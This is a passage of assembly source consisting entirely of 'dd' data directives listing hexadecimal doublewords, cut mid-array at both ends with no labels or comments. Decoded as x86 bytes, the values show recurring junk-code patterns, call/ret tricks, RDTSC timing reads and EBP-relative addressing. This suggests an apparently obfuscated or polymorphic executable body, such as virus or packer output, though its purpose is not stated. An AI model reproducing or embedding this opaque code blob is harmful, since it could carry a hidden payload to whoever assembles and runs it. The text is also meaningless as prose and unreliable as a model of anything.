0AE9h, 0F651A700h, 0E742FEEAh, 8BE7FF7Dh, 0EA162985h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 1BF6D064h, 0BE99Eh, 46D60000h, 62431AFDh dd 9C23B7EDh, 44689C3h, 10E860h, 0B8750000h, 378092A6h dd 96B6AA8Fh, 0C6507D1Eh, 816641F6h, 5905C3EBh, 61BD8B56h dd 5E05EA0Ah, 8EBB5061h, 8924EB98h, 9D232434h, 5EA0301h dd 0D9D8B5FFh, 816605EDh, 0E91E81CBh, 8, 0A96B6618h, 0ECBCEA3Ch dd 0D4E9EE68h, 0AE92Eh, 0F4790000h, 0E7008B23h, 9E7E6C4Bh dd 11243481h, 6A2ECBEAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0CD06C350h, 47105587h dd 0DC59D89h, 858D05EAh, 5EDD9E0h, 16B5B589h, 665005EAh dd 89F650BFh, 0FFFC2404h, 0EA320D95h, 29BD2B05h, 6105EA17h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 57C35545h dd 4FF319E0h, 0F585C771h, 305EA25h, 23000000h, 0EA01659Dh dd 0E0BD8305h, 5EDD9h, 12840Fh, 18BF0000h, 0E90950D8h dd 23h, 9589DE8Bh, 5EA1251h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 66C08B00h, 0EB81F88Bh, 5F0E7DBFh, 25F5BD83h dd 0F0305EAh, 3AA85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 79899Ah, 8E885h, 0D4170000h dd 1DDE930Dh, 9D8B650Bh, 5EA0F71h, 0E0BD835Fh, 5EDD9h dd 369840Fh, 0BD8B0000h, 5EA022Dh, 30399501h, 0B5FF05EAh dd 5EDD9E0h, 10B19D01h, 95FF05EAh, 5EA128Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 2C35343h, 0D4B58B39h dd 6A05EDD9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0B984C353h, 0CDBD8B8Dh, 8B05EA0Ch dd 0BCEB80F9h, 106C7h, 0DF800001h, 0FBBB960Dh, 5051904Fh dd 9E953h, 0DF0000h, 0D21441EBh, 5FB00EFDh, 53006A96h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0B93694A3h, 572B2BBFh, 0BF662C84h, 0B5FF71F5h, 5EDD9E0h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B8C35040h dd 4707EDF2h, 0B5BD8BE6h, 8B05EA2Ah, 0EA2B25BDh, 6995FF05h dd 6605EA32h, 8BE5EFBBh, 0EDD9D4B5h, 81858B05h, 6A05EA08h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0CA48C357h, 2865B9ECh, 81744A3Eh, 8E2E5EC3h dd 1ABF6679h, 0C48689AEh, 8B000000h, 0EA0ADD95h, 0FDBD0305h dd 8305EA0Eh, 13E804C2h, 4F000000h, 5CB78012h, 110717CCh dd 4F9AD8CDh, 0B893273Eh, 0FC60C024h, 8F0Fh, 5F610000h dd 31205089h, 0EA2EB1BDh, 67858D05h, 8B05EDEBh, 0EA1A79BDh dd 0F5BD8905h, 8905EA02h, 0B886h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 820F0DC6h dd 6, 172D9589h, 816605EAh, 6A682FE3h, 0E3816600h, 0B5FF41ECh dd 5EDD9E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 75C35747h, 1F40BBFEh, 0FBD4C596h, 0DE8B66FFh, 10E953h dd 0BB0B0000h, 5267489Fh, 6448D630h, 0F28EB1E8h, 0FF5B4DD3h dd 0EA163D95h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BF669C3Ch, 0CB801696h dd 3B75055h, 6A243489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 9881C351h, 810B0EC6h dd 21493AE7h, 5800F12h, 0BB000000h, 63716E4Ah, 0D9E0B5FFh dd 0FFFC05EDh, 0EA15A995h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 76A52C50h dd 4F4688D0h, 2FC78166h, 5DBD83F0h, 5EA11h, 5A840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 7EF57EC3h, 800E5765h, 0E95067D7h, 0Dh, 79526621h, 42EE943Bh dd 3C73C677h, 24348914h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0B3C35747h, 0EBDAE7D9h, 0D9E0B5FFh, 0B70F05EDh dd 0C995FFFAh, 0F05EA1Ch, 0B5FFF9BFh, 5EDD9E0h, 230D95FFh dd 8B6605EAh, 31BD83FEh, 205EA06h, 31840Fh, 858B0000h dd 5EA0C95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0F2C35545h, 0E64707EDh, 0C6A45Eh, 118D8900h, 0C705EA01h dd 0EA097D85h, 5, 0E98D8900h, 0E905EA12h, 0FFFFF413h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B4C35040h, 65E55DB9h dd 38BB9C4Ch, 0F2FB2DAh, 686h, 59BD8900h, 8B05EA2Bh, 219589C1h dd 8D05EA11h, 0EA298D85h, 0D3816605h, 60507B70h, 12E95250h dd 26000000h, 0EE3C0D9Fh, 0ABAA0FAh, 0C2F8E0B0h, 1350905Fh dd 50310FFDh, 5A310F52h, 66585A58h, 6161EBBFh, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 3292C355h, 2B9973B9h, 0EA1ED1BDh, 0DB816605h dd 6AF96Ah, 62EF8166h, 0F006A3Bh, 388h, 0D8B70F00h, 0D433858Dh dd 0B52905EEh, 5EA171Dh, 6A05C083h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 5631C351h dd 564737C8h, 0BCCBA816h, 0C99BD23h, 605005EAh, 0D8D0Fh dd 7E80000h, 0B5000000h, 0ED54F972h, 0E95A6D29h, 10h, 0ECF8CA4Ch dd 8E2C23C7h, 645665C7h, 0B92CC42Eh, 24048961h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EAC35545h, 0DB82AD57h dd 8BB37F40h, 6A006ADFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0F977C355h, 7467BAE7h dd 6ADE8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 78C35747h, 660987F1h, 0A54AEF81h, 23E995FFh, 14E805EAh dd 36000000h, 0DF088802h, 0C200C014h, 0B78FFA97h, 0D5D91D5h dd 81AF7B82h, 7529C6CBh, 8D8D5B49h, 5EDD89Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 2EC35747h, 2DFBB2DEh dd 8F0FD86Ch, 6, 8C0Fh, 0C3810000h, 4B7B84D3h, 0B70FD1FFh dd 0D1BD83F8h, 105EA02h, 82850Fh, 810F0000h, 5, 9391EDBBh dd 0E1BD8B27h, 6A05EA29h, 52006A02h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 3E3D4F6Fh dd 78BB6605h, 860F904Eh, 0Ah, 0BF665250h, 310F5731h, 0BB50585Ah dd 6B0294A0h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 9004DE0h, 9D8BF535h, 5EA10B1h, 163D95FFh dd 9D0305EAh, 5EA125Dh, 0D6CE9h, 0E800h, 815D0000h, 0EED43DEDh dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 43798A74h, 8314A4BFh, 0E98D894Ch, 0BB05EA32h dd 730D70F8h, 0C387858Dh, 816605EDh, 0BBBCC6F3h, 5BDE2B33h dd 8948B350h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0AD6CF0C3h, 35FF6439h, 0 dd 0B91BD8Bh, 896405EAh, 25h, 0FE900h, 13560000h, 39DACDABh dd 0FFF05E5Ah, 1A22CFB0h, 0DD8D8992h, 0FF05EA0Fh, 0EA1C4985h dd 1DF38105h, 6A48E045h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 10104802h, 0FDB5FF88h dd 905EA0Bh, 0EA0BF99Dh, 4995FF05h, 0E905EA14h, 164h, 2485B589h dd 0B005EAh, 880F70E6h, 14h, 0FE9h, 295D9500h, 0D95F817Dh dd 0F17428EBh, 7CB1064Bh, 0BD2971E4h, 5EA161Dh, 830F613Ch dd 130h, 0F9EF780h, 0AE9C8B6h, 0C8000000h, 0AFBC1B3Ch dd 0C4690AADh, 6BA61h, 14E80000h, 44000000h, 0E58E7A9Dh dd 2399BE28h, 737B769Eh, 0C7BFC543h, 8BA46EDCh, 0C18B5BFAh dd 0B3F88B66h, 4E8C123h, 0EBBF6660h, 11E9CDh, 0EA5D0000h dd 0F1680D93h, 5F0ED217h, 4F4CFE4Ch, 612F9850h, 0E9E2F766h dd 0Bh, 265A7117h, 0E979907Eh, 2BE4CC7Bh, 89D18BC8h, 0EA2995B5h dd 21953105h, 0E905EA0Bh, 6, 1CDDBD33h, 858B05EAh, 5EA0F21h dd 7C083F5h, 23D9B501h, 0C08305EAh, 13E800h, 4EF50000h dd 0EB620917h, 3A56A39Bh, 1A9EDFB2h, 0AB8FBE26h, 919D8BA9h dd 5F05EA06h, 148D9529h, 0D03B05EAh, 27830Fh, 9D0B0000h dd 5EA1531h, 5BE9h, 0CE800h, 0F2A0000h, 0FC695236h, 0E93CD67Ch dd 57604FC0h, 458D0959h, 6105EA2Fh, 0E18D8B5Fh, 6605EA20h dd 21DBCF81h, 0F01E183h, 2B84h, 91BB5700h, 5B2EB2D7h, 20E1A583h dd 8BFE05EAh, 0EA0C3D9Dh, 0A99D3105h, 8905EA1Eh, 0EA0F2195h dd 91852905h, 0E905EA0Bh, 0 dd 3C09B58Dh, 8D0F05EEh, 4, 5EF6BB66h, 0CE9h, 0C935B500h dd 0B83E269Ah, 457F8229h, 6A006A41h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0DC6BC356h dd 5A595D2h, 11E8D797h, 8C000000h, 3AAC2EBCh, 7B72CF80h dd 3236AF3Fh, 0DCDAAED5h, 1D5D9D89h, 8B5B05EAh, 0EA1C69BDh dd 1595FF05h, 6A05EA10h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 3FC352h, 64EE9E0Bh dd 95895006h, 5EA1D89h, 86CB95Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0F25C7DC3h dd 14359529h, 0E18305EAh, 6AFCF8FCh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0F506C351h dd 0E9564D16h, 0Ch, 62828A8Fh, 0D3353776h, 0E9E589FEh dd 0BBC02B5Bh, 46450A68h, 0F98BD22Bh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 6AF8B7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 1AABDC3h, 0EA2A958Dh, 880D05h, 81660000h dd 8B8DBDDFh, 0EA0ADD95h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 83D0918h, 0F114B7Ah dd 1A8Eh, 11E800h, 6A9C0000h, 0C03223CDh, 188258FEh, 0ED38A4DFh dd 66BE5085h, 8B5BD98Bh, 0EA0ACD8Dh, 860F5705h, 4, 1D9BBB66h dd 0C28B505Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh dd 61FE8B66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 40C35646h, 0A7FDD57Bh, 0E90CA3D9h, 0Fh, 0A9A81467h dd 1EA16E23h, 0F891F696h, 83A3069Dh, 0EA0819BDh, 840F0005h dd 75h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h dd 91C35141h, 24D77DCFh, 0B841h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0CD644BC3h dd 890A08EDh, 0EA01719Dh, 4D9D8905h, 8D05EA1Ch, 0EA4C218Dh dd 14E905h, 69070000h, 0D0DCF15Fh, 0BC02A23Eh, 0A78BD844h dd 0C08EAF87h, 0E1FFAABAh, 0F5BD83F5h, 5EA25h, 42F840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0DE16E4C3h, 9D8B602Ah, 5EA1B0Dh, 83FA8B66h dd 0EA25F5BDh, 840F0105h, 414h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 88C35747h, 0D3EBFABBh, 3FB00F54h dd 0F5BD838Ah, 305EA25h, 3AC860Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 7F2AB7C3h dd 9D89877Dh, 5EA0EFDh, 3890F60h, 0F000000h, 8C66DEB7h dd 0D9BD31D9h, 8005EA17h, 0F78104E1h, 5F61E91Fh, 840FC90Ah dd 11Dh, 13E9BD8Bh, 858B05EAh, 5EA1629h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 79C35343h, 0F0A3DB81h dd 85330DC1h, 5EA1535h, 5BB5150h, 5F6D9A47h, 89240489h dd 0EA0A2DBDh, 23006A05h, 0EA0F619Dh, 4E805h, 3FF0000h dd 8B50001Fh, 50042444h, 11E952h, 0A2EF0000h, 0BC805189h dd 0E13FAD42h, 7540B26h, 0F8877C4h, 14E831h, 828A0000h dd 35377662h, 0E589FED3h, 0D2991FE9h, 8E5D18B0h, 5A5FDE06h dd 0BF008B58h, 5C337CD4h, 4244489h, 1D8A0Fh, 8D0F0000h dd 17h, 11E8h, 19B1ED00h, 0F385CE32h, 98FD8CFBh, 0BB918B52h dd 585F6B7Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 7BC35747h, 0DD84B6A8h, 0FF989813h, 0EA320D95h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 8589361Eh, 5EDD9E0h, 171D9D33h, 0DFE905EAh dd 8B000001h, 0EA0741BDh, 0D8858B05h, 6A05EDD9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0C724C357h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0F781699Bh, 6C7E4E90h dd 0D9DCB58Bh, 6A05EDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 9D2396C3h, 5EA05A1h, 29E5858Bh dd 9D8B05EAh, 5EA2BF1h, 0FBBF6660h, 6870F73h, 8B000000h dd 0EA05BD8Dh, 6896105h, 7419D8Bh, 858B05EAh, 5EA1629h dd 870Fh, 46890000h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 136D7120h, 0F7C896E8h dd 0BD8B81FDh, 5EA31A9h, 0CE9h, 0C7166F00h, 0B054E63Dh dd 91E2D64Ah, 8B51964Ch, 66505BFBh, 8996D98Bh, 0EA0B919Dh dd 0D8B5FF05h, 6A05EDD9h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 2E91C350h, 4CCF812Fh dd 0E850E417h, 4, 1F03FFh, 0A1C1BF66h, 24448B50h, 0FE8B6604h dd 0BF66008Bh, 44894E8Ah, 8B660424h, 0F78058DAh, 0E0858D3Fh dd 6A05EDD9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 45EC353h, 0B7B2420Bh, 9049E29Eh dd 0FE8h, 4A5A8D00h, 651DA848h, 5AD9FC74h, 20587C7Eh, 0A65EBB66h dd 5250505Bh, 830F60h, 50000000h, 5A310F52h, 310F6158h dd 585A7DB7h, 29858990h, 8005EA2Fh, 95FFE4F3h, 5EA320Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4BC35747h dd 798BFA5Bh, 0CBBECAE2h, 2E6D9D8Bh, 336105EAh, 0EA22FDBDh dd 0F585C705h, 305EA25h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 42E1C350h dd 28E59D29h, 0BD8305EAh, 5EDD9E0h, 2B840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 660EC356h, 28D0Fh, 1FB70000h, 1CE9h, 3050FC00h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 9E9C0h, 0DE530000h, 1999E45Dh, 66AA83CAh, 8B2E88BFh dd 0EA1CED9Dh, 0F5BD8305h, 305EA25h, 3E4850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 4AC833C3h, 5DBD895Eh, 8B05EA15h, 0E0BD83DAh, 5EDD9h dd 3B0840Fh, 0BD890000h, 5EA034Dh, 0D9E0B5FFh, 6A05EDh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0BA805FC3h, 8E8h, 852A6500h, 28637CD7h, 95FF5B9Ch, 5EA128Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0A8C35141h dd 0A0572732h, 0BCC7DFF1h, 0AE9DBh, 0F2C70000h, 6A737492h dd 28C6CA1Ah, 0D9D4B58Bh, 0BD8B05EDh, 5EA1B49h, 106C7h dd 0C3810001h, 53FEE243h, 50605050h, 5A310F52h, 895F6158h dd 0FFF92434h, 0EDD9E0B5h, 95FFF905h, 5EA3269h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E5C35747h, 9089A344h dd 17890Fh dd 870F0000h, 11h, 0CE9h, 0FC628000h, 9B62998Fh, 0BFB39098h dd 0D4B58BE5h, 0E905EDD9h, 0Ch, 2E7A3DF3h, 75C79E82h, 63320C4Ch dd 881858Bh, 896005EAh, 0EA16E99Dh, 8E805h, 8DF40000h dd 0D090DF64h, 9589F942h, 5EA1C91h, 8689615Fh, 0C4h, 0ADD958Bh dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0DE630AC3h, 29B783ADh, 0EA20819Dh, 559D8905h dd 8305EA0Bh, 0DE804C2h, 75000000h, 0C4935377h, 951388F3h dd 8CE5AA5Ch, 8979BF66h, 2050895Fh, 3149BD29h, 858D05EAh dd 5EDEB67h, 0B88689F8h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DFB0C350h dd 0E5BBD70Ch, 6A64A63Bh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 34F08DC8h dd 0EE7AFDE6h, 2D9D2948h, 0FF05EA07h, 0EDD9E0B5h, 68D0F05h dd 8B000000h, 0EA2BD99Dh, 3D95FF05h, 6A05EA16h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 64BCC356h, 0FB8592Ch, 0E896F8B7h, 6, 9B495796h, 0ABBFB939h dd 5F772299h, 3820F50h, 66000000h, 0E996DF8Bh, 5, 6F7E1F98h dd 0C0EB80A7h, 0D9E0B5FFh, 14E905EDh, 0FA000000h, 0A0C51A07h dd 0A729079Fh, 0E485F945h, 5B3B601h, 0FF2D3E95h, 0EA15A995h dd 31B50105h, 8B05EA13h, 0EA19EDBDh, 5DBD8305h, 5EA11h dd 31840Fh, 0BF660000h, 0BD037313h, 5EA0C89h, 1C880F50h dd 50000000h, 0F525052h, 0F585A31h, 0BE931h, 1EE00000h dd 96FA6C87h, 90691EEAh, 89585A7Ah, 0FFF92434h, 0EDD9E0B5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 7C6157FEh, 9746045h, 89DA8B66h, 0EA06CDBDh dd 0C995FF05h, 0F05EA1Ch, 680h, 1D8D0900h, 0FF05EA33h dd 0EDD9E0B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 8D84663Bh, 16D04474h dd 9AF38166h, 0FE9DDh, 30860000h, 2FA7A37Ah, 42210CF1h dd 810F8B60h, 0D95FFF9h, 8105EA23h, 66CB4EE7h, 31BD832Eh dd 205EA06h, 3B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 5AA431C3h, 8D0FF85Bh dd 4, 0C39FBF66h, 0C95858Bh, 0DD8A05EAh, 890000C6h, 0EA2B1595h dd 7D85C705h, 5EA09h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 811FC355h, 25B5B501h dd 78E905EAh, 0BFFFFFF3h, 51978E8Ch, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 5305D9C3h dd 0E24DDA79h, 0E9FA8B56h, 9, 4FE21CF5h, 74F1E716h, 8D858DE8h dd 6A05EA29h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 3968C357h, 35EDA838h, 8B906871h dd 38B350F9h, 0C1858990h, 6A05EA30h, 6AC0B300h, 2840F00h dd 8B000000h, 74858DD8h, 8005EEE3h, 0C08303F7h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 634D958Ah, 0D878D84Bh, 8B6690DFh, 10E950F8h, 0B8000000h dd 0F90F93CCh, 0DC3BC8Fh, 49F14298h, 908D34ADh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 3DC35646h, 6A86EE90h dd 6AB2B700h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 355B8CD9h, 817E429Fh, 0B7F97DC7h dd 559D8929h, 0FF05EA08h, 0EA23E995h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0E3816612h, 8D8D1986h, 5EDD89Dh, 2B459D89h, 0D1FF05EAh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 65C35242h dd 0FF110954h, 5602EB2Bh, 7E59D8Bh, 835B05EAh, 0EA02D1BDh dd 850F0105h, 81h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 8AC35343h, 1BC59589h, 26A05EAh, 31118D31h dd 569005EAh, 5FDE8B66h, 11E850h, 0FE7E0000h, 0D0BEA18Eh dd 0EBB58580h, 0E98044A4h, 5B012C2Ch, 53006A90h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 89F8B33Bh, 0EA1229BDh, 3D95FF05h, 0F05EA16h, 884h, 85895200h dd 5EA1265h, 0F66E95Fh, 0E80000h, 5D000000h, 0E37EED81h dd 6A05EEh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 6735B3C3h, 0B3A777F9h, 52C72BBh, 52006A30h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 858DC06Ch, 5EDC387h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 21C35545h, 0DBB70FC9h, 66525090h, 0F5181BBh dd 8B666031h, 585A61F7h, 810F6050h, 6, 310F5250h, 0CE8B585Ah dd 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 98A89DC3h, 13E9h, 209D5A00h, 6E2100F5h, 97D27697h dd 0CE0DD1CAh, 0A3C49CEh, 35FF64h, 0BF000000h, 10D686Eh dd 258964h, 66000000h, 10FD381h, 1C4985FFh, 0FF6A05EAh dd 281BD0Bh, 0E85205EAh, 12h, 13C2E4F0h, 9DDBC597h, 7CD353B7h dd 4E26AA5Fh, 95897E82h, 5EA09E5h, 0B5FF5F5Fh, 5EA0BF5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0ECC35646h dd 2D8D5F95h, 9589753Eh, 5EA1429h, 144995FFh, 19E905EAh dd 8B000001h, 0EA15559Dh, 0F00B005h, 28Ah, 0E6FE8A00h dd 9725BB70h, 71E47EF6h, 17F5BD33h, 613C05EAh, 0F2830Fh dd 0BF0F0000h, 0C8B60FDBh, 0BAF98B66h, 6, 3FF78152h, 5F4FAFB9h dd 7E8h, 25910D00h, 2ED2F797h, 8B5BD1B7h, 0AC2ABBC1h, 0E96038D3h dd 0Bh, 0EE9B08E4h, 0CBA1459Fh, 804647A7h, 0C1616FCAh dd 0B52904E8h, 5EA00EDh, 66E2F766h, 5F80DB81h, 0D18BC82Bh dd 0B9D38166h, 92E957h, 0BD8B0000h, 5EA2E11h, 8858Bh, 0D7810000h dd 15E2F6B4h, 0E807C083h, 0Fh, 50EC1351h, 0F22E6A3Fh, 0CFB581B3h dd 60876E51h, 24F1BD01h, 950905EAh, 5EA076Dh, 0C0835B61h dd 71852900h, 3B05EA20h, 0B830FD0h, 80000000h, 41E9F5D7h dd 66000000h, 8D8BD98Bh, 0FFFFFFFFh, 68B0Fh, 9D0B0000h dd 5EA23F5h, 0F01E183h, 2384h, 8B666000h, 0A58361DEh, 0FFFFFFFFh dd 65BD31FEh, 8905EA12h, 895h, 0E1C78100h, 0E9796569h dd 0 dd 6372B58Dh, 6A05EEh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 3363B5C3h, 0E5847EB2h, 0B36060E6h dd 8D0F61FAh, 18h, 12E8h, 0EE5FE000h, 3751D61Bh, 0E5533126h dd 0E24B7DDBh, 58AC8374h, 0BB006A61h, 6A369159h, 101595FFh dd 9D8B05EAh, 5EA1655h, 1028B9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8979CD38h dd 0EA1B6185h, 0FCE18305h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 7CC35646h, 0FC5ECB80h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 29C35141h, 698C478Dh dd 6C3B71A6h, 0E8C02B4Eh, 0Eh, 85FA1500h, 9744C967h, 70EE92FCh dd 85897BBDh, 5EA0365h, 6AD22B5Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 283FC353h dd 0F927C58h, 28Bh, 6674B700h, 0ADABB3BBh, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 7E56C351h, 0ACA2F840h dd 46B76AEEh, 10E96060h, 6C000000h, 4D49D10Eh, 343BD9CFh dd 22C41443h, 667929F1h, 613B03BAh, 310D9D89h, 0E96105EAh dd 10h, 736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 0B2779E32h, 880Dh dd 958BFC00h, 5EA0ADDh, 31399589h, 8D8B05EAh, 5EA0ACDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1CC35646h dd 0C28B50B4h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0ADC5C352h, 17E99531h, 0BD8905EAh, 5EA2C29h dd 0C2E3C781h, 2BF0584h, 8366BD72h, 0EA0819BDh, 840F0005h dd 0A5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 84C35343h, 0C64472EEh, 0E901EC72h, 0Bh, 80DA7AC1h dd 4F8DA1AFh, 31EF406Bh, 0EA15D99Dh, 0B805h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0CBC9E4C3h, 218D8D0Fh, 6A05EA4Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 5EEBC350h dd 15259D8Bh, 0E1FF05EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 3DC35646h, 0F5BD83A4h, 5EA25h, 500840Fh dd 95890000h, 5EA3259h, 25F5BD83h, 0F0105EAh, 50884h, 0DF816600h dd 0BD83F569h, 5EA25F5h, 0C0860F03h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0F4E8C357h, 3B2CDE40h, 13C98D29h, 6A6005EAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 9C3FC355h, 97F28A5Fh, 60A605EAh, 6E9h, 